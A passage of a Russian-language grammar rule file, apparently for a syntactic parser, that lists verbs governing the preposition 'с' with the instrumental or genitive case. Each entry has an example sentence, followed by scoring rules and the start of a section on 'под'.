инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя
rus_verbs:взиматься{}, // Плата взимается с любого посетителя
rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги
rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги
rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков
rus_verbs:вспархивать{}, // вспархивать с цветка
rus_verbs:вспорхнуть{}, // вспорхнуть с ветки
rus_verbs:выбросить{}, // выбросить что-то с балкона
rus_verbs:выводить{}, // выводить с одежды пятна
rus_verbs:снять{}, // снять с головы
rus_verbs:начинать{}, // начинать с эскиза
rus_verbs:двинуться{}, // двинуться с места
rus_verbs:начинаться{}, // начинаться с гардероба
rus_verbs:стечь{}, // стечь с крыши
rus_verbs:слезть{}, // слезть с кучи
rus_verbs:спуститься{}, // спуститься с крыши
rus_verbs:сойти{}, // сойти с пьедестала
rus_verbs:свернуть{}, // свернуть с пути
rus_verbs:сорвать{}, // сорвать с цепи
rus_verbs:сорваться{}, // сорваться с поводка
rus_verbs:тронуться{}, // тронуться с места
rus_verbs:угадать{}, // угадать с первой попытки
rus_verbs:спустить{}, // спустить с лестницы
rus_verbs:соскочить{}, // соскочить с крючка
rus_verbs:сдвинуть{}, // сдвинуть с места
rus_verbs:подниматься{}, // туман, поднимающийся с болота
rus_verbs:подняться{}, // туман, поднявшийся с болота
rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног.
rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног.
rus_verbs:донестись{}, // С улицы донесся шум дождя.
rus_verbs:опасть{}, // Опавшие с дерева листья.
rus_verbs:махнуть{}, // Он махнул с берега в воду.
rus_verbs:исчезнуть{}, // исчезнуть с экрана
rus_verbs:свалиться{}, // свалиться со сцены
rus_verbs:упасть{}, // упасть с дерева
rus_verbs:вернуться{}, // Он ещё не вернулся с работы.
rus_verbs:сдувать{}, // сдувать пух с одуванчиков
rus_verbs:свергать{}, // свергать царя с трона
rus_verbs:сбиться{}, // сбиться с пути
rus_verbs:стирать{}, // стирать тряпкой надпись с доски
rus_verbs:убирать{}, // убирать мусор c пола
rus_verbs:удалять{}, // удалять игрока с поля
rus_verbs:окружить{}, // Япония окружена со всех сторон морями.
rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение.
глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы.
прилагательное:спокойный{}, // С этой стороны я спокоен.
rus_verbs:спросить{}, // С тебя за всё спросят.
rus_verbs:течь{}, // С него течёт пот.
rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
